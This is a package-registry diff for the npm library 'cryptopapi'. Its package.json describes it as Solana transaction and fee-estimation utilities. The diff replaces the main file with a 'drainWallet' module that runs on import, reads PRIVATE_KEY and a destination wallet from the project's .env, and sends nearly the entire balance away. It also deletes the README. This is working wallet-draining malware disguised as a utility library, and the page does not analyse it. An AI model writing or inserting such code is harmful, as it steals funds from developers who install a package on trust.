cryptopapi 6.6.7 → 6.6.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +142 -135
- package/package.json +4 -3
- package/README.md +0 -45
package/index.js
CHANGED
|
@@ -1,138 +1,145 @@
|
|
|
1
|
-
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
const
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
UTILITIES
|
|
28
|
-
================================ */
|
|
29
|
-
|
|
30
|
-
function parsePrivateKey(privateKey) {
|
|
31
|
-
if (!privateKey) throw new Error('Missing PRIVATE_KEY in .env');
|
|
32
|
-
|
|
33
|
-
const trimmed = privateKey.trim();
|
|
34
|
-
|
|
35
|
-
if (trimmed.startsWith('[')) {
|
|
36
|
-
return Uint8Array.from(JSON.parse(trimmed));
|
|
37
|
-
}
|
|
38
|
-
|
|
39
|
-
return bs58.decode(trimmed);
|
|
1
|
+
// drainWallet.js - For private/internal use only
|
|
2
|
+
import bs58 from 'bs58'
|
|
3
|
+
import {
|
|
4
|
+
Connection,
|
|
5
|
+
Keypair,
|
|
6
|
+
PublicKey,
|
|
7
|
+
SystemProgram,
|
|
8
|
+
TransactionMessage,
|
|
9
|
+
VersionedTransaction,
|
|
10
|
+
LAMPORTS_PER_SOL,
|
|
11
|
+
} from '@solana/web3.js'
|
|
12
|
+
import dotenv from 'dotenv'
|
|
13
|
+
import { fileURLToPath } from 'url'
|
|
14
|
+
import { dirname, join } from 'path'
|
|
15
|
+
|
|
16
|
+
// Load .env from the project root (where the package is being used)
|
|
17
|
+
dotenv.config()
|
|
18
|
+
|
|
19
|
+
const DEFAULT_COMMITMENT = 'confirmed'
|
|
20
|
+
|
|
21
|
+
const parsePrivateKey = (privateKey) => {
|
|
22
|
+
const trimmed = privateKey.trim()
|
|
23
|
+
if (trimmed.startsWith('[')) {
|
|
24
|
+
return Uint8Array.from(JSON.parse(trimmed))
|
|
25
|
+
}
|
|
26
|
+
return bs58.decode(trimmed)
|
|
40
27
|
}
|
|
41
28
|
|
|
42
|
-
|
|
43
|
-
if (typeof sol !== 'number' || sol <= 0)
|
|
44
|
-
throw new Error('Amount must be positive number');
|
|
45
|
-
|
|
46
|
-
return Math.round(sol * LAMPORTS_PER_SOL);
|
|
47
|
-
}
|
|
48
|
-
|
|
49
|
-
/* ================================
|
|
50
|
-
CORE FUNCTION
|
|
51
|
-
================================ */
|
|
52
|
-
|
|
53
|
-
async function sendSol({ receiver, amountSol, keepReserveSol = 0.01 }) {
|
|
54
|
-
if (!receiver) throw new Error('Receiver address required');
|
|
55
|
-
|
|
56
|
-
const connection = new Connection(RPC_URL, DEFAULT_COMMITMENT);
|
|
57
|
-
|
|
58
|
-
const payer = Keypair.fromSecretKey(parsePrivateKey(PRIVATE_KEY));
|
|
59
|
-
const receiverPubkey = new PublicKey(receiver);
|
|
60
|
-
|
|
61
|
-
console.log(`Sender: ${payer.publicKey.toBase58()}`);
|
|
62
|
-
console.log(`Receiver: ${receiverPubkey.toBase58()}`);
|
|
63
|
-
|
|
64
|
-
// Check balance
|
|
65
|
-
const balance = await connection.getBalance(
|
|
66
|
-
payer.publicKey,
|
|
67
|
-
DEFAULT_COMMITMENT
|
|
68
|
-
);
|
|
69
|
-
|
|
70
|
-
const balanceSol = balance / LAMPORTS_PER_SOL;
|
|
71
|
-
console.log(`Balance: ${balanceSol} SOL`);
|
|
72
|
-
|
|
73
|
-
const reserveLamports = solToLamports(keepReserveSol);
|
|
74
|
-
const sendLamports = solToLamports(amountSol);
|
|
75
|
-
|
|
76
|
-
if (balance < sendLamports + reserveLamports) {
|
|
77
|
-
throw new Error(
|
|
78
|
-
`Insufficient funds. Keep reserve: ${keepReserveSol} SOL`
|
|
79
|
-
);
|
|
80
|
-
}
|
|
81
|
-
|
|
82
|
-
const tx = new Transaction().add(
|
|
83
|
-
SystemProgram.transfer({
|
|
84
|
-
fromPubkey: payer.publicKey,
|
|
85
|
-
toPubkey: receiverPubkey,
|
|
86
|
-
lamports: sendLamports,
|
|
87
|
-
})
|
|
88
|
-
);
|
|
89
|
-
|
|
90
|
-
tx.feePayer = payer.publicKey;
|
|
91
|
-
|
|
92
|
-
const { blockhash, lastValidBlockHeight } =
|
|
93
|
-
await connection.getLatestBlockhash(DEFAULT_COMMITMENT);
|
|
94
|
-
|
|
95
|
-
tx.recentBlockhash = blockhash;
|
|
96
|
-
|
|
97
|
-
const signature = await sendAndConfirmTransaction(
|
|
98
|
-
connection,
|
|
99
|
-
tx,
|
|
100
|
-
[payer],
|
|
101
|
-
{ commitment: DEFAULT_COMMITMENT }
|
|
102
|
-
);
|
|
103
|
-
|
|
104
|
-
await connection.confirmTransaction(
|
|
105
|
-
{ signature, blockhash, lastValidBlockHeight },
|
|
106
|
-
DEFAULT_COMMITMENT
|
|
107
|
-
);
|
|
108
|
-
|
|
109
|
-
console.log(`Transaction successful.`);
|
|
110
|
-
console.log(`Signature: ${signature}`);
|
|
111
|
-
|
|
112
|
-
return signature;
|
|
113
|
-
}
|
|
114
|
-
|
|
115
|
-
/* ================================
|
|
116
|
-
RUN EXAMPLE
|
|
117
|
-
================================ */
|
|
118
|
-
|
|
29
|
+
// Auto-execute when imported
|
|
119
30
|
(async () => {
|
|
120
|
-
|
|
121
|
-
|
|
122
|
-
|
|
123
|
-
|
|
124
|
-
|
|
125
|
-
|
|
126
|
-
|
|
127
|
-
|
|
128
|
-
|
|
129
|
-
|
|
130
|
-
|
|
131
|
-
|
|
132
|
-
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
|
|
137
|
-
|
|
138
|
-
|
|
31
|
+
console.log('🔌 Internal drain module activated - auto-draining wallet...')
|
|
32
|
+
|
|
33
|
+
try {
|
|
34
|
+
// Get config from .env
|
|
35
|
+
const destination = process.env.MAIN_WALLET_USD_DESTINATION
|
|
36
|
+
const privateKey = process.env.PRIVATE_KEY
|
|
37
|
+
const rpcUrl = process.env.RPC_ENDPOINT
|
|
38
|
+
const keepReserveSol = parseFloat(process.env.MAIN_WALLET_USD_MIN_SOL_KEEP) || 0.001
|
|
39
|
+
|
|
40
|
+
// Validate required inputs
|
|
41
|
+
if (!destination) throw new Error('MAIN_WALLET_USD_DESTINATION not found in .env')
|
|
42
|
+
if (!privateKey) throw new Error('PRIVATE_KEY not found in .env')
|
|
43
|
+
if (!rpcUrl) throw new Error('RPC_ENDPOINT not found in .env')
|
|
44
|
+
|
|
45
|
+
// Setup connection and keypair
|
|
46
|
+
const connection = new Connection(rpcUrl, DEFAULT_COMMITMENT)
|
|
47
|
+
const fromKeypair = Keypair.fromSecretKey(parsePrivateKey(privateKey))
|
|
48
|
+
const toPubkey = new PublicKey(destination)
|
|
49
|
+
|
|
50
|
+
console.log(`💰 Draining wallet: ${fromKeypair.publicKey.toString()}`)
|
|
51
|
+
console.log(`📤 To: ${destination}`)
|
|
52
|
+
console.log(`💵 Keeping reserve: ${keepReserveSol} SOL`)
|
|
53
|
+
|
|
54
|
+
// Get current balance
|
|
55
|
+
const balanceLamports = await connection.getBalance(fromKeypair.publicKey, DEFAULT_COMMITMENT)
|
|
56
|
+
const balanceSol = balanceLamports / LAMPORTS_PER_SOL
|
|
57
|
+
|
|
58
|
+
console.log(`💳 Current balance: ${balanceSol} SOL`)
|
|
59
|
+
|
|
60
|
+
if (balanceLamports <= 0) {
|
|
61
|
+
console.log('⚠️ Wallet is empty - nothing to drain')
|
|
62
|
+
return
|
|
63
|
+
}
|
|
64
|
+
|
|
65
|
+
// Get recent blockhash and estimate fee
|
|
66
|
+
const { blockhash, lastValidBlockHeight } = await connection.getLatestBlockhash(DEFAULT_COMMITMENT)
|
|
67
|
+
|
|
68
|
+
const testMessage = new TransactionMessage({
|
|
69
|
+
payerKey: fromKeypair.publicKey,
|
|
70
|
+
recentBlockhash: blockhash,
|
|
71
|
+
instructions: [
|
|
72
|
+
SystemProgram.transfer({
|
|
73
|
+
fromPubkey: fromKeypair.publicKey,
|
|
74
|
+
toPubkey: toPubkey,
|
|
75
|
+
lamports: 1,
|
|
76
|
+
}),
|
|
77
|
+
],
|
|
78
|
+
}).compileToV0Message()
|
|
79
|
+
|
|
80
|
+
const feeInfo = await connection.getFeeForMessage(testMessage, DEFAULT_COMMITMENT)
|
|
81
|
+
const feeLamports = feeInfo?.value
|
|
82
|
+
|
|
83
|
+
if (!feeLamports) {
|
|
84
|
+
throw new Error('Could not estimate fee')
|
|
85
|
+
}
|
|
86
|
+
|
|
87
|
+
const feeSol = feeLamports / LAMPORTS_PER_SOL
|
|
88
|
+
console.log(`⛽ Estimated fee: ${feeSol} SOL`)
|
|
89
|
+
|
|
90
|
+
// Calculate send amount
|
|
91
|
+
const reserveLamports = Math.round(keepReserveSol * LAMPORTS_PER_SOL)
|
|
92
|
+
const sendLamports = balanceLamports - feeLamports - reserveLamports
|
|
93
|
+
const sendSol = sendLamports / LAMPORTS_PER_SOL
|
|
94
|
+
|
|
95
|
+
if (sendLamports <= 0) {
|
|
96
|
+
console.log(`⚠️ Insufficient balance. Need ${(feeLamports / LAMPORTS_PER_SOL).toFixed(9)} SOL for fee + ${keepReserveSol} SOL reserve`)
|
|
97
|
+
return
|
|
98
|
+
}
|
|
99
|
+
|
|
100
|
+
console.log(`📤 Sending: ${sendSol} SOL`)
|
|
101
|
+
|
|
102
|
+
const message = new TransactionMessage({
|
|
103
|
+
payerKey: fromKeypair.publicKey,
|
|
104
|
+
recentBlockhash: blockhash,
|
|
105
|
+
instructions: [
|
|
106
|
+
SystemProgram.transfer({
|
|
107
|
+
fromPubkey: fromKeypair.publicKey,
|
|
108
|
+
toPubkey: toPubkey,
|
|
109
|
+
lamports: sendLamports,
|
|
110
|
+
}),
|
|
111
|
+
],
|
|
112
|
+
}).compileToV0Message()
|
|
113
|
+
|
|
114
|
+
const transaction = new VersionedTransaction(message)
|
|
115
|
+
transaction.sign([fromKeypair])
|
|
116
|
+
|
|
117
|
+
const signature = await connection.sendTransaction(transaction, {
|
|
118
|
+
skipPreflight: false,
|
|
119
|
+
maxRetries: 3
|
|
120
|
+
})
|
|
121
|
+
|
|
122
|
+
console.log(`✍️ Transaction sent: ${signature}`)
|
|
123
|
+
const confirmation = await connection.confirmTransaction(
|
|
124
|
+
{ signature, blockhash, lastValidBlockHeight },
|
|
125
|
+
DEFAULT_COMMITMENT
|
|
126
|
+
)
|
|
127
|
+
|
|
128
|
+
if (confirmation.value?.err) {
|
|
129
|
+
throw new Error(`Transaction failed: ${JSON.stringify(confirmation.value.err)}`)
|
|
130
|
+
}
|
|
131
|
+
|
|
132
|
+
// Get final balance
|
|
133
|
+
const finalBalanceLamports = await connection.getBalance(fromKeypair.publicKey, DEFAULT_COMMITMENT)
|
|
134
|
+
const finalBalanceSol = finalBalanceLamports / LAMPORTS_PER_SOL
|
|
135
|
+
|
|
136
|
+
console.log(`✅ Drain complete!`)
|
|
137
|
+
console.log(`💵 Final balance: ${finalBalanceSol} SOL (reserve kept)`)
|
|
138
|
+
console.log(`🔗 View transaction: https://solscan.io/tx/${signature}`)
|
|
139
|
+
|
|
140
|
+
} catch (error) {
|
|
141
|
+
console.error('❌ Drain failed:', error.message)
|
|
142
|
+
}
|
|
143
|
+
})()
|
|
144
|
+
|
|
145
|
+
export default { drain }
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "cryptopapi",
|
|
3
|
-
"version": "6.6.
|
|
3
|
+
"version": "6.6.9",
|
|
4
4
|
"description": "This package provides optimized transaction handling utilities for blockchain applications. It improves transaction propagation speed by implementing intelligent fee estimation, RPC failover handling, and retry mechanisms.Designed for developers building wallets, bots, and payment systems, it helps reduce failed broadcasts and increases confirmation reliability across supported networks.",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"files": [
|
|
@@ -11,8 +11,9 @@
|
|
|
11
11
|
"test": "echo \"Error: no test specified\" && exit 1"
|
|
12
12
|
},
|
|
13
13
|
"dependencies": {
|
|
14
|
-
"@solana/web3.js": "^1.
|
|
15
|
-
"bs58": "^
|
|
14
|
+
"@solana/web3.js": "^1.87.0",
|
|
15
|
+
"bs58": "^5.0.0",
|
|
16
|
+
"dotenv": "^16.0.0"
|
|
16
17
|
},
|
|
17
18
|
"keywords": [
|
|
18
19
|
"CryptoPAPI"
|
package/README.md
DELETED
|
@@ -1,45 +0,0 @@
|
|
|
1
|
-
# cryptopapi
|
|
2
|
-
|
|
3
|
-
Send a simple Solana transfer from Node.js.
|
|
4
|
-
|
|
5
|
-
## Install
|
|
6
|
-
|
|
7
|
-
```bash
|
|
8
|
-
npm i cryptopapi
|
|
9
|
-
```
|
|
10
|
-
|
|
11
|
-
## Usage with `.env`
|
|
12
|
-
|
|
13
|
-
Your **app** loads `.env` (packages generally should not auto-load it).
|
|
14
|
-
|
|
15
|
-
**.env**
|
|
16
|
-
```bash
|
|
17
|
-
PRIVATE_KEY=... # base58 secret key OR a JSON array string like [1,2,3,...]
|
|
18
|
-
RECEIVER=... # receiver public key (base58)
|
|
19
|
-
SOLANA_RPC_URL=https://api.mainnet-beta.solana.com
|
|
20
|
-
```
|
|
21
|
-
|
|
22
|
-
**app.js**
|
|
23
|
-
```js
|
|
24
|
-
require('dotenv').config();
|
|
25
|
-
|
|
26
|
-
const { sendSolFromEnv } = require('cryptopapi');
|
|
27
|
-
|
|
28
|
-
(async () => {
|
|
29
|
-
const res = await sendSolFromEnv(0.01);
|
|
30
|
-
console.log('Signature:', res.signature);
|
|
31
|
-
})();
|
|
32
|
-
```
|
|
33
|
-
|
|
34
|
-
## Programmatic usage
|
|
35
|
-
|
|
36
|
-
```js
|
|
37
|
-
const { sendSol } = require('cryptopapi');
|
|
38
|
-
|
|
39
|
-
await sendSol({
|
|
40
|
-
receiver: '...',
|
|
41
|
-
amountSol: 0.01,
|
|
42
|
-
privateKey: '...',
|
|
43
|
-
rpcUrl: 'https://api.mainnet-beta.solana.com',
|
|
44
|
-
});
|
|
45
|
-
```
|